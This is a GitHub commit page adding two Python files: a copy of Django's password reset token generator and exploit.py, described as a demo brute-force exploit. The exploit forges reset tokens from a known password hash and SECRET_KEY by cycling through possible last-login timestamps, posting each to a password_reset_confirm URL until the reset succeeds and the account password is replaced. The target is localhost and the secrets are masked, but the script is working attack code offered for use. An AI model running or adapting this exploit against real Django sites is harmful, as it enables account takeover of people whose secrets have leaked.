Skip to content

Commit ad8519a

Browse files
committed
Initial commit
0 parents  commit ad8519a

File tree

2 files changed

+110
-0
lines changed

2 files changed

+110
-0
lines changed

PasswordResetTokenGenerator.py

+60
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
# Directly coming from Django source code
2+
3+
from django.utils.crypto import constant_time_compare, salted_hmac
4+
from django.utils.http import base36_to_int, int_to_base36, urlsafe_base64_encode, urlsafe_base64_decode
5+
6+
from datetime import date, datetime
7+
8+
class PasswordResetTokenGenerator:
9+
"""
10+
Strategy object used to generate and check tokens for the password
11+
reset mechanism.
12+
"""
13+
key_salt = "django.contrib.auth.tokens.PasswordResetTokenGenerator"
14+
15+
def __init__(self, SECRET_KEY):
16+
self.secret = SECRET_KEY
17+
18+
def make_token(self, user):
19+
"""
20+
Return a token that can be used once to do a password reset
21+
for the given user.
22+
"""
23+
return self._make_token_with_timestamp(user, self._num_days(self._today()))
24+
25+
def _make_token_with_timestamp(self, user, timestamp):
26+
# timestamp is number of days since 2001-1-1. Converted to
27+
# base 36, this gives us a 3 digit string until about 2121
28+
ts_b36 = int_to_base36(timestamp)
29+
hash_string = salted_hmac(
30+
self.key_salt,
31+
self._make_hash_value(user, timestamp),
32+
secret=self.secret,
33+
).hexdigest()[::2] # Limit to 20 characters to shorten the URL.
34+
return "%s-%s" % (ts_b36, hash_string)
35+
36+
def _make_hash_value(self, user, timestamp):
37+
"""
38+
Hash the user's primary key and some user state that's sure to change
39+
after a password reset to produce a token that invalidated when it's
40+
used:
41+
1. The password field will change upon a password reset (even if the
42+
same password is chosen, due to password salting).
43+
2. The last_login field will usually be updated very shortly after
44+
a password reset.
45+
Failing those things, settings.PASSWORD_RESET_TIMEOUT_DAYS eventually
46+
invalidates the token.
47+
Running this data through salted_hmac() prevents password cracking
48+
attempts using the reset token, provided the secret isn't compromised.
49+
"""
50+
# Truncate microseconds so that tokens are consistent even if the
51+
# database doesn't support microseconds.
52+
login_timestamp = '' if user.last_login is None else user.last_login.replace(microsecond=0, tzinfo=None)
53+
return str(user.pk) + user.password + str(login_timestamp) + str(timestamp)
54+
55+
def _num_days(self, dt):
56+
return (dt - date(2001, 1, 1)).days
57+
58+
def _today(self):
59+
# Used for mocking in tests
60+
return date.today()

exploit.py

+50
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
# coding: utf8
2+
3+
# Demo of django reset token bruteforce exploit
4+
5+
from PasswordResetTokenGenerator import PasswordResetTokenGenerator
6+
from django.utils.encoding import force_bytes, force_text
7+
from django.utils.http import base36_to_int, int_to_base36, urlsafe_base64_encode, urlsafe_base64_decode
8+
from datetime import date, datetime
9+
import time
10+
import requests
11+
12+
13+
if __name__ == "__main__":
14+
15+
HASHED_PASS = "pbkdf2_sha256$100000$**************************************************"
16+
SECRET_KEY = '*************************************'
17+
HOME_URL = "localhost:8000"
18+
RESET_TOKEN_URL = "localhost:8000/account/password_reset_confirm/"
19+
PK = 42
20+
21+
22+
client = requests.Session()
23+
client.get(HOME_URL)
24+
25+
payload = {
26+
'csrfmiddlewaretoken': client.cookies['csrftoken'],
27+
'new_password1': 'michelmichel',
28+
'new_password2': 'michelmichel',
29+
}
30+
31+
start_attack_timestamp = time.time()
32+
33+
i = 0
34+
while True:
35+
print("{}/? : {} hours scanned".format(i, i / 3600))
36+
37+
class User:
38+
def __init__(self):
39+
self.password = HASHED_PASS
40+
self.pk = PK
41+
self.last_login = datetime.fromtimestamp(start_attack_timestamp - i)
42+
43+
uid = force_text(urlsafe_base64_encode(force_bytes(User().pk)))
44+
token = PasswordResetTokenGenerator(SECRET_KEY).make_token(User())
45+
url = RESET_TOKEN_URL + "{}/{}/".format(uid, token)
46+
result = client.post(url, data=payload).text
47+
if not "Confirm" in result: # If we're not on the "Confirm your new password .. " page
48+
print("Done : Password reset")
49+
break
50+
i += 1

0 commit comments

Comments
 (0)